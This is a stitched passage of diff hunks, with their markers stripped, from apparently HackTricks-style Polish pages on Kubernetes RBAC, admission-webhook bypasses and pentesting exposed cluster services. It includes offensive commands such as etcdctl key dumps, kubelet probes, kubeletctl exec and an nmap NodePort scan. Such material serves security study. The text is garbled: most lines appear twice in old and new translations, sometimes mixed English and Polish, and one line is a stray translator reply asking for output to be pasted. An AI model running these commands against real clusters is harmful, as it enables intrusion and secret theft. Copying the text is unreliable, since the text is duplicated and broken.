- **verbs** to tablica zawierająca dozwolone **verbs**. Verb w Kubernetes definiuje **rodzaj akcji**, którą musisz zastosować do resource. Na przykład verb list jest używany wobec kolekcji, podczas gdy "get" jest używany wobec pojedynczego resource.
### Rules Verbs
(_Ta informacja została zaczerpnięta z_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
(_Te informacje pochodzą z_ [_**dokumentacji**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (dla pojedynczych resources), list (dla kolekcji, w tym pełnej zawartości obiektu), watch (do obserwowania pojedynczego resource lub kolekcji resources) |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (dla pojedynczych resources), deletecollection (dla kolekcji) |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes czasami sprawdza authorization dla dodatkowych uprawnień, używając specjalizowanych verbs. Na przykład:
Kubernetes czasami sprawdza autoryzację dla dodatkowych uprawnień, używając specjalistycznych verbów. Na przykład:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- verb `use` na resources `podsecuritypolicies` w API group `policy`.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- verbs `bind` i `escalate` na resources `roles` i `clusterroles` w API group `rbac.authorization.k8s.io`.
- verby `bind` i `escalate` na resources `roles` i `clusterroles` w API group `rbac.authorization.k8s.io`.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- verb `impersonate` na `users`, `groups` i `serviceaccounts` w core API group, oraz `userextras` w API group `authentication.k8s.io`.
- verb `impersonate` na `users`, `groups` i `serviceaccounts` w core API group oraz `userextras` w API group `authentication.k8s.io`.
Kubernetes v1.36 zawiera także **constrained impersonation** jako funkcję beta. Zamiast przyznawać tylko klasyczny, wszystko-albo-nic verb `impersonate`, klastry mogą przyznawać specyficzne dla trybu verby, takie jak `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node` lub `impersonate:associated-node`, oraz verby specyficzne dla akcji, takie jak `impersonate-on:user-info:list` na docelowym resource. Sprawdź obie strony: tożsamość, którą subject może impersonate, i akcje, które może wykonywać podczas impersonation. Klasyczne reguły `impersonate` nadal mogą dawać szerszy dostęp, więc nie zakładaj, że verby wyglądające na ograniczone są egzekwowane, dopóki wersja API servera i dowody z access review tego nie potwierdzą.
> [!WARNING]
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
> Możesz znaleźć **wszystkie verby obsługiwane przez każdy resource** wykonując `kubectl api-resources --sort-by name -o wide`
### Examples
```yaml:Role
@@ -80,13 +88,13 @@ rules:
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
Na przykład możesz użyć **ClusterRole**, aby umożliwić konkretnemu użytkownikowi uruchomienie:
Na przykład możesz użyć **ClusterRole**, aby umożliwić konkretnemu użytkownikowi uruchamianie:
```
kubectl get pods --all-namespaces
```
### **RoleBinding i ClusterRoleBinding**
### **RoleBinding and ClusterRoleBinding**
[**Z dokumentacji:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding przyznaje uprawnienia zdefiniowane w role użytkownikowi lub grupie użytkowników**. Zawiera listę subjectów (users, groups lub service accounts) oraz odwołanie do przyznawanej role. **RoleBinding** przyznaje uprawnienia w konkretnym **namespace**, podczas gdy **ClusterRoleBinding** przyznaje ten dostęp **cluster-wide**.
[**Z dokumentacji:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding przyznaje uprawnienia zdefiniowane w role użytkownikowi lub grupie użytkowników**. Zawiera listę subjects (users, groups, or service accounts) oraz odwołanie do role, które jest przyznawane. **RoleBinding** przyznaje uprawnienia w określonym **namespace**, podczas gdy **ClusterRoleBinding** przyznaje ten dostęp **cluster-wide**.
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -126,7 +134,7 @@ apiGroup: rbac.authorization.k8s.io
### Szczegóły warte sprawdzenia
RBAC używa nazw zasobów tak, jak pojawiają się w API URLs, a nie YAML `kind`. Pod to `pods`, Deployment to `deployments`, a subresources są zapisywane z ukośnikiem, np. `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` lub `services/proxy`. Uprawnienie do `pods` nie daje automatycznie dostępu do `pods/exec` ani `pods/log`.
RBAC używa nazw zasobów tak, jak pojawiają się w API URLs, a nie YAML `kind`. Pod to `pods`, Deployment to `deployments`, a subresources są zapisywane z użyciem ukośnika, np. `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` lub `services/proxy`. Uprawnienie do `pods` nie daje automatycznie dostępu do `pods/exec` ani `pods/log`.
`resourceNames` może ograniczać niektóre requesty do konkretnych nazw obiektów:
```yaml
@@ -136,19 +144,20 @@ resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
To nie ogranicza top-level `create` ani `deletecollection` po nazwie. Dla `list` i `watch` klient musi zawrzeć pasujący selector pola `metadata.name`, w przeciwnym razie request nie jest autoryzowany przez tę regułę:
To nie ogranicza `create` ani `deletecollection` na najwyższym poziomie według nazwy. Dla `list` i `watch` klient musi dołączyć pasujący selektor pola `metadata.name`, w przeciwnym razie żądanie nie jest autoryzowane przez tę regułę:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
Użyj dokładnych access reviews do kontroli o wysokim wpływie:
Używaj dokładnych access reviews do kontroli o wysokim wpływie:
```bash
kubectl auth can-i create pods/exec -n default
kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **Enumerating RBAC**
## **Wyliczanie RBAC**
```bash
# Get current privileges
kubectl auth can-i --list
@@ -170,7 +179,7 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Nadużywanie Role/ClusterRoles do eskalacji uprawnień
### Nadużywanie Role/ClusterRoles do Privilege Escalation
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -6,20 +6,20 @@
## Definicja
`ValidatingWebhookConfiguration` to zasób Kubernetes, który rejestruje jeden lub więcej validating admission webhooks. Te webhooks otrzymują żądania AdmissionReview z API server po uwierzytelnieniu i autoryzacji, ale przed trwałym zapisaniem obiektu.
`ValidatingWebhookConfiguration` to zasób Kubernetes, który rejestruje jeden lub więcej validating admission webhooks. Te webhooks otrzymują żądania AdmissionReview z API server po uwierzytelnieniu i autoryzacji, ale przed zapisaniem obiektu.
Validating webhooks mogą odrzucić żądanie. Mutating webhooks, skonfigurowane za pomocą `MutatingWebhookConfiguration`, mogą najpierw zmienić obiekt. Security reviews powinny zwykle analizować oba zasoby, ponieważ złośliwy lub słaby mutating webhook może przepisać workloads, podczas gdy validating webhook lub policy engine może je zablokować albo dopuścić.
Validating webhooks mogą odrzucić żądanie. Mutating webhooks, skonfigurowane za pomocą `MutatingWebhookConfiguration`, mogą najpierw zmienić obiekt. Przeglądy bezpieczeństwa powinny zwykle sprawdzać oba zasoby, ponieważ złośliwy lub słaby mutating webhook może przepisać workloads, podczas gdy validating webhook lub policy engine może je zablokować albo zezwolić na nie.
## Cel
Celem `ValidatingWebhookConfiguration` jest określenie, kiedy API server powinien wywołać validating webhook i jak powinien obsłużyć wynik webhooka. Ważne pytanie bezpieczeństwa brzmi nie tylko: "czy policy jest zainstalowane?", ale także:
Celem `ValidatingWebhookConfiguration` jest określenie, kiedy API server powinien wywołać validating webhook i jak powinien obsłużyć wynik webhooka. Ważne pytanie bezpieczeństwa nie brzmi tylko: czy policy jest zainstalowana?”, ale także:
- Które API groups, resources, operations i scopes dopasowywane?
- Które namespaces lub obiekty są wykluczone przez selektory?
- Z którymi grupami API, resources, operations i scopes to się dopasowuje?
- Które namespaces lub obiekty są wykluczone przez selectors?
- Czy `matchConditions` pomija jakieś klasy żądań?
- Czy `failurePolicy` fail open z `Ignore` czy fail closed z `Fail`?
- Czy usługa webhooka jest osiągalna, zaufana przez skonfigurowane `caBundle` i uruchamiana przez service account z wysokimi uprawnieniami?
- Czy policy engine udostępnia też exception resources, excluded users lub excluded groups?
- Czy usługa webhooka jest osiągalna, zaufana przez skonfigurowane `caBundle` i uruchamiana przez bardzo uprzywilejowane service account?
- Czy policy engine udostępnia także exception resources, excluded users lub excluded groups?
**Przykład**
@@ -53,12 +53,12 @@ matchExpressions:
operator: NotIn
values: ["kube-system"]
```
Główna różnica między ValidatingWebhookConfiguration a policies :
The main difference between a ValidatingWebhookConfiguration and policies :
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : Zasób Kubernetes, który definiuje validating webhook, czyli komponent po stronie serwera, który waliduje przychodzące żądania Kubernetes API względem zestawu predefiniowanych reguł i ograniczeń.
- **Kyverno ClusterPolicy**: Definicja policy, która określa zestaw reguł i ograniczeń do walidacji i egzekwowania zasobów Kubernetes, takich jak pods, deployments i services
- **Kyverno ClusterPolicy**: Definicja policy, która określa zestaw reguł i ograniczeń do walidacji oraz egzekwowania zasobów Kubernetes, takich jak pody, deploymenty i services
## Enumeration
```
@@ -70,33 +70,54 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
Pola do sprawdzenia:
- `rules`: Sprawdź objęte API groups, versions, resources, subresources, operations i scope.
- `namespaceSelector` / `objectSelector`: Szukaj namespace’ów lub labels, które wykluczają resources z policy.
- `namespaceSelector` / `objectSelector`: Szukaj namespaces lub labeli, które wykluczają resources z policy.
- `matchConditions`: Wyrażenia CEL mogą celowo lub przypadkowo pomijać requests.
- `failurePolicy`: `Ignore` pozwala requests kontynuować, jeśli webhook zawiedzie; `Fail` je blokuje.
- `sideEffects`: Webhooks ze side effects mogą nie wspierać testów dry-run.
- `timeoutSeconds`: Bardzo krótkie timeouty w połączeniu z `Ignore` mogą prowadzić do fail-open behavior.
- `sideEffects`: Webhooks z side effects mogą nie wspierać testów dry-run.
- `timeoutSeconds`: Bardzo krótkie timeouty w połączeniu z `Ignore` mogą stać się fail-open behavior.
- `clientConfig`: Sprawdź, czy webhook wskazuje na in-cluster Service czy external URL, i przeanalizuj backing workload oraz service account.
- `reinvocationPolicy`: Mutating webhooks mogą zostać wywołane ponownie, gdy późniejsza mutation zmieni obiekt.
- `reinvocationPolicy`: Mutating webhooks mogą zostać wywołane ponownie, gdy późniejsza mutation zmieni object.
### Native CEL admission policies
Nowoczesne clusters mogą też wymuszać admission logic za pomocą natywnych obiektów policy w `admissionregistration.k8s.io`, nie tylko za pomocą webhook configurations. `ValidatingAdmissionPolicy` to działająca w procesie alternatywa oparta na CEL dla validating webhooks i jest aktywna tylko wtedy, gdy `ValidatingAdmissionPolicyBinding` ją wybierze. `MutatingAdmissionPolicy` jest stabilne w Kubernetes v1.36 i jest aktywowane przez `MutatingAdmissionPolicyBinding` dla mutacji generowanych przez CEL.
Wylicz je poleceniem:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Security checks:
- Polityka bez binding nie wymusza niczego.
- `validationActions` na binding decyduje, czy validation failures są denied, warned, audited, czy tylko recorded.
- `failurePolicy: Ignore` pozwala, aby błędy ewaluacji CEL lub błędna konfiguracja fail open.
- `matchConstraints`, `matchConditions`, `namespaceSelector` i `objectSelector` mogą wykluczać wrażliwe requesty.
- `paramKind` i `paramRef` mogą sprawić, że ConfigMaps lub obiekty parametrów oparte na CRD staną się częścią granicy policy; sprawdź, kto może modyfikować te obiekty parametrów.
- Zapisy do policies, bindings i parameter resources powinny być traktowane jak uprzywilejowane zmiany admission-control.
### Abusing Kyverno and Gatekeeper VWC
Jak widzimy, wszystkie zainstalowane operators mają co najmniej jedną ValidatingWebHookConfiguration(VWC).
Jak widzimy, wszystkie zainstalowane operatory mają co najmniej jedną ValidatingWebHookConfiguration(VWC).
**Kyverno** i **Gatekeeper** to oba Kubernetes policy engines, które zapewniają framework do definiowania i egzekwowania policies w całym cluster.
Exceptions odnoszą się do konkretnych rules lub warunków, które pozwalają policy zostać obejściem lub zmodyfikowaną w określonych okolicznościach, ale to nie jest jedyny sposób !
Exceptions odnoszą się do konkretnych reguł lub warunków, które pozwalają ominąć policy lub zmodyfikować ją w określonych okolicznościach, ale to nie jedyny sposób !
W przypadku **kyverno**, ponieważ istnieje validating policy, webhook `kyverno-resource-validating-webhook-cfg` jest wypełniany.
Dla **kyverno**, gdy istnieje validating policy, webhook `kyverno-resource-validating-webhook-cfg` jest wypełniany.
Dla Gatekeeper istnieje plik YAML `gatekeeper-validating-webhook-configuration`.
Oba pochodzą z domyślnymi wartościami, ale zespoły Administratorów mogły zaktualizować te 2 pliki.
Oba pochodzą z domyślnych wartości, ale zespoły Administrator mogą zaktualizować te 2 pliki.
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
Aby zidentyfikować „following output”, potrzebuję samego tekstu wyjściowego do analizy. Wklej go proszę.
Sprawdź następujące wyjście:
```yaml
namespaceSelector:
matchExpressions:
@@ -109,22 +130,22 @@ values:
- kube-system
- MYAPP
```
Tutaj `kubernetes.io/metadata.name` odnosi się do etykiety nazwy namespace. Namespaces z nazwami na liście `values` będą wykluczone z polityki:
Tutaj `kubernetes.io/metadata.name` odnosi się do etykiety nazwy namespace. Namespace z nazwami znajdującymi się na liście `values` zostaną wykluczone z polityki:
Sprawdź istnienie namespaces. Czasami, z powodu automatyzacji lub błędnej konfiguracji, niektóre namespaces mogły nie zostać utworzone. Jeśli masz uprawnienie do tworzenia namespace, możesz utworzyć namespace o nazwie z listy `values`, a polityki nie będą stosowane do twojego nowego namespace.
Sprawdź istnienie namespaces. Czasami, z powodu automatyzacji lub błędnej konfiguracji, niektóre namespaces mogły nie zostać utworzone. Jeśli masz uprawnienia do tworzenia namespace, możesz utworzyć namespace o nazwie znajdującej się na liście `values`, a polityki nie będą miały zastosowania do twojego nowego namespace.
Celem tego ataku jest wykorzystanie **misconfiguration** wewnątrz VWC, aby obejść ograniczenia operatorów, a następnie podnieść swoje uprawnienia innymi technikami
Inne częste wzorce bypass lub nadużyć:
Inne częste wzorce bypass lub abuse:
- `objectSelector`, który pozwala użytkownikom dodać własny label opt-out do swoich obiektów.
- `failurePolicy: Ignore` w krytycznej dla bezpieczeństwa walidacji, szczególnie gdy webhook Service nie ma endpointów lub sieć jest zawodna.
- Wyjątki w policy engine dla użytkowników, grup, service accounts, namespaces lub ról, które są szersze niż zamierzono.
- Brak pokrycia dla szablonów workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources lub operacji aktualizacji.
- Dostęp do zapisu w `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, politykach Gatekeeper, politykach Kyverno lub zasobach wyjątków.
- Złośliwy mutating webhook, który wstrzykuje kontenery, zmienia obrazy, montuje sekrety, dodaje tolerations lub zmienia wybór service account przed walidacją.
- `objectSelector`, który pozwala użytkownikom dodać własnej obiektom etykietę opt-out.
- `failurePolicy: Ignore` przy krytycznej dla bezpieczeństwa walidacji, zwłaszcza gdy webhook Service nie ma endpoints lub występują niestabilności sieciowe.
- Wyjątki w silniku polityk dla users, groups, service accounts, namespaces lub roles, które są szersze niż zamierzono.
- Brak pokrycia dla szablonów kontrolerów workload, `pods/ephemeralcontainers`, `pods/exec`, custom resources lub operacji update.
- Zapis access do `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies lub resources wyjątków.
- Złośliwy mutating webhook, który wstrzykuje containers, zmienia images, montuje secrets, dodaje tolerations lub zmienia wybór service account przed walidacją.
Pamiętaj, że admission chroni tylko żądania, które przechodzą przez łańcuch admission API server. Static Pods, dostęp do node-local runtime socket, bezpośrednie nadużycie kubelet oraz bezpośredni dostęp do etcd to inne ścieżki zaufania i wymagają osobnego hardening i monitorowania.
Pamiętaj, że admission chroni tylko requests, które przechodzą przez łańcuch admission API servera. Static Pods, node-local runtime socket access, bezpośredni kubelet abuse i bezpośredni dostęp do etcd to inne ścieżki zaufania i wymagają osobnego hardening i monitoringu.
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -2,25 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes używa kilku **specyficznych usług sieciowych**, które możesz znaleźć **wystawione do Internetu** lub w **wewnętrznej sieci, gdy przejmiesz już jeden pod**.
Kubernetes używa kilku **specyficznych usług sieciowych**, które możesz znaleźć **wystawione do Internetu** albo w **sieci wewnętrznej po przejęciu jednego poda**.
## Finding exposed pods with OSINT
Jednym ze sposobów może być wyszukiwanie `Identity LIKE "k8s.%.com"` w [crt.sh](https://crt.sh), aby znaleźć subdomeny związane z kubernetes. Innym sposobem może być wyszukiwanie `"k8s.%.com"` w github i szukanie **plików YAML** zawierających ten ciąg.
Jednym ze sposobów może być wyszukiwanie `Identity LIKE "k8s.%.com"` w [crt.sh](https://crt.sh) w celu znalezienia subdomen powiązanych z kubernetes. Innym sposobem może być wyszukiwanie `"k8s.%.com"` w github i szukanie **plików YAML** zawierających ten ciąg.
Przydatne zewnętrzne sygnały recon do skorelowania przed skanowaniem:
- Nazwy DNS i certificate transparency zawierające `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` lub nazwy regionów.
- Nazwy cloud load balancer, CNAME, tagi i hostnames providerów, które mogą powiązać wystawioną aplikację lub platform UI z klastrem.
- Publiczne repozytoria, logi CI, wartości Helm, stan Terraform, wyrenderowane manifesty, obrazy kontenerów i dokumentacja ujawniające kubeconfigi, adresy URL API server, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosty Ingress, listenery Gateway lub ustawienia dashboard.
- Inventory zarządzanego Kubernetes, gdy poświadczenia cloud są w zakresie: publiczny/prywatny dostęp do endpointu EKS i publiczne CIDR, publiczne/prywatne ustawienia control-plane GKE i authorized networks oraz ustawienia prywatnego klastra AKS/API server authorized IP.
- Wystawione narzędzia platformy wokół klastra, takie jak Argo CD, Prometheus, Grafana, Harbor, registries, dashboardy CI/CD, service mesh dashboards oraz admin lub metrics endpoints ingress-controller.
- Nazwy cloud load balancerów, CNAME, tagi i hostnames dostawcy, które mogą powiązać wystawioną aplikację lub UI platformy z klastrem.
- Publiczne repozytoria, logi CI, wartości Helm, stan Terraform, wyrenderowane manifesty, obrazy kontenerów i dokumentacja ujawniające kubeconfigi, URL-e API servera, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosty Ingress, listenery Gateway lub ustawienia dashboard.
- Inwentarz zarządzanego Kubernetes, gdy poświadczenia cloud są w zakresie: publiczny/prywatny dostęp do endpointu EKS i publiczne CIDR, publiczne/prywatne ustawienia control plane GKE i authorized networks oraz prywatne klastry AKS / ustawienia authorized IP API servera.
- Wystawione narzędzia platformy wokół klastra, takie jak Argo CD, Prometheus, Grafana, Harbor, registries, dashboardy CI/CD, dashboardy service mesh oraz panele administracyjne lub endpointy metrics ingress-controllera.
Traktuj to jako wskazówki do atrybucji i priorytetyzacji. Publiczna aplikacja Ingress jest normalna w wielu klastrach, natomiast wystawione kubelet, etcd, dashboard, control wdrożeń CI/CD lub ujawniony kubeconfig powinny mieć znacznie wyższy priorytet.
Traktuj to jako wskazówki do atrybucji i priorytetyzacji. Publiczna aplikacja Ingress jest normalna w wielu klastrach, natomiast wystawiony kubelet, etcd, dashboard, kontrola deploy CI/CD lub ujawniony kubeconfig powinny mieć znacznie wyższy priorytet.
## How Kubernetes Exposes Services
Może być przydatne zrozumienie, jak Kubernetes może **publicznie expose services**, aby je znaleźć:
Może być dla ciebie przydatne zrozumienie, jak Kubernetes może **publicznie exposeować services**, aby je znaleźć:
{{#ref}}
../exposing-services-in-kubernetes.md
@@ -61,7 +61,7 @@ curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Sprawdź następującą stronę, aby dowiedzieć się, jak uzyskać sensitive data i wykonywać sensitive actions, komunikując się z tym service:**
**Sprawdź następującą stronę, aby dowiedzieć się, jak uzyskać wrażliwe dane i wykonywać wrażliwe akcje, komunikując się z tą usługą:**
{{#ref}}
../kubernetes-enumeration.md
@@ -69,16 +69,16 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
Ten service **run in every node of the cluster**. To service, które będzie **control** podami wewnątrz **node**. Komunikuje się z **kube-apiserver**.
Ta usługa **działa na każdym node klastra**. To usługa, która będzie **kontrolować** pody wewnątrz **node**. Komunikuje się z **kube-apiserver**.
Jeśli znajdziesz ten service exposed, możesz mieć do czynienia z **unauthenticated RCE**.
Jeśli znajdziesz tę usługę wystawioną, możesz mieć do czynienia z **unauthenticated RCE**.
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
Jeśli odpowiedź to `Unauthorized`, oznacza to, że wymagane jest uwierzytelnienie.
Jeśli odpowiedź to `Unauthorized`, to wymaga uwierzytelnienia.
Jeśli możesz wylistować nodes, możesz uzyskać listę endpointów kubelets za pomocą:
```bash
@@ -89,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (tylko do odczytu)
#### kubelet (Read only)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
@@ -104,7 +104,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
Można nadużyć tej usługi, aby eskalować uprawnienia wewnątrz Kubernetes:
Możesz nadużyć tego serwisu, aby podnieść uprawnienia wewnątrz Kubernetes:
### cAdvisor
@@ -114,15 +114,15 @@ curl -k https://<IP Address>:4194
```
### NodePort
Gdy port jest wystawiony na wszystkich nodeach za pomocą **NodePort**, ten sam port jest otwierany na wszystkich nodeach, przekazując ruch do zadeklarowanego **Service**. Domyślnie ten port będzie w **zakresie 30000-32767**. Dlatego nowe, niezweryfikowane usługi mogą być dostępne przez te porty.
Gdy port jest wystawiony na wszystkich nodeach przez **NodePort**, ten sam port jest otwarty na wszystkich nodeach, proxifikując ruch do zadeklarowanego **Service**. Domyślnie ten port będzie w **range 30000-32767**. Dlatego nowe, niezweryfikowane services mogą być dostępne przez te porty.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh and proxy surfaces
Clustery używające **Istio, Linkerd, Cilium service mesh lub bramek opartych na Envoy** dodają kolejną warstwę usług do enumeracji. Mesh może zapewniać mTLS, workload identity, routing L7, authorization policy, telemetry oraz kontrolę gateway/egress, ale chroni tylko ten traffic, który faktycznie jest dołączony i przechwytywany przez mesh.
Clustery używające **Istio, Linkerd, Cilium service mesh lub Envoy-based gateways** dodają kolejną warstwę usług do enumeracji. Mesh może zapewniać mTLS, workload identity, routowanie L7, polityki autoryzacji, telemetry oraz kontrolę gateway/egress, ale chroni tylko ruch, który faktycznie jest objęty i przechwytywany przez mesh.
Przydatne checki z dostępu do Kubernetes:
Przydatne sprawdzenia z dostępu do Kubernetes:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
@@ -145,15 +145,25 @@ Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicie
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
Useful checks:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
Jeśli resource APIs zwracają `403`, API server mógł sklasyfikować żądanie jako `system:anonymous`, ale authorization je zablokował. Jeśli resource APIs zwracają `200` bez credentials, sprawdź RoleBindings lub ClusterRoleBindings dla `system:anonymous` albo `system:unauthenticated`, permissive authorizer-chain configuration lub błąd uwierzytelniania na front-door.
ETCD przechowuje sekrety klastra, pliki konfiguracyjne i inne **wrażliwe dane**. Domyślnie do ETCD **nie można** uzyskać dostępu **anonimowo**, ale zawsze warto to sprawdzić.
### **Sprawdzanie anonimowego dostępu do ETCD**
Jeśli do ETCD można uzyskać dostęp anonimowo, może być konieczne użycie narzędzia [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md). Następujące polecenie pobierze wszystkie zapisane klucze:
ETCD przechowuje cluster secrets, configuration files i inne **sensitive data**. **Domyślnie** ETCD **nie może** być dostępne **anonimowo**, ale zawsze warto to sprawdzić.
Jeśli ETCD może być dostępne anonimowo, możesz potrzebować **użyć** narzędzia [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md). Następujące polecenie pobierze wszystkie zapisane klucze:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
@@ -163,13 +173,13 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
Aby lepiej zrozumieć, jak działa **uwierzytelnianie i autoryzacja API Kubelet**, sprawdź tę stronę:
Aby lepiej zrozumieć, jak działa **authentication and authorization of the Kubelet API**, sprawdź tę stronę:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
Usługa **Kubelet** **API is not documented**, ale kod źródłowy można znaleźć tutaj, a odnalezienie ujawnionych endpointów jest tak proste jak **uruchomienie**:
Usługa **Kubelet** **API is not documented**, ale kod źródłowy można znaleźć tutaj, a znalezienie ujawnionych endpointów jest tak proste jak **uruchomienie**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -187,26 +197,26 @@ Możesz użyć narzędzia [**Kubeletctl**](https://github.com/cyberark/kubeletct
#### /pods
Ten endpoint wyświetla listę pods i ich kontenerów:
Ten endpoint wyświetla pods i ich kontenery:
```bash
kubeletctl pods
```
#### /exec
Ten endpoint umożliwia bardzo łatwe wykonanie code wewnątrz dowolnego container:
Ten endpoint pozwala bardzo łatwo execute code wewnątrz dowolnego kontenera:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> Aby uniknąć tego ataku, usługa _**kubelet**_ powinna być uruchamiana z `--anonymous-auth false`, a usługa powinna być odseparowana na poziomie sieci.
### **Sprawdzanie ujawnienia informacji z Kubelet (Read Only Port)**
### **Sprawdzanie Exposure informacji Kubelet (Read Only Port)**
Gdy **kubelet read-only port** jest wystawiony, możliwe staje się pobieranie informacji z API przez nieuprawnione podmioty. Ekspozycja tego portu może prowadzić do ujawnienia różnych elementów **cluster configuration**. Chociaż informacje, w tym **pod names, locations of internal files, and other configurations**, mogą nie być krytyczne, ich ujawnienie nadal stanowi ryzyko bezpieczeństwa i należy go unikać.
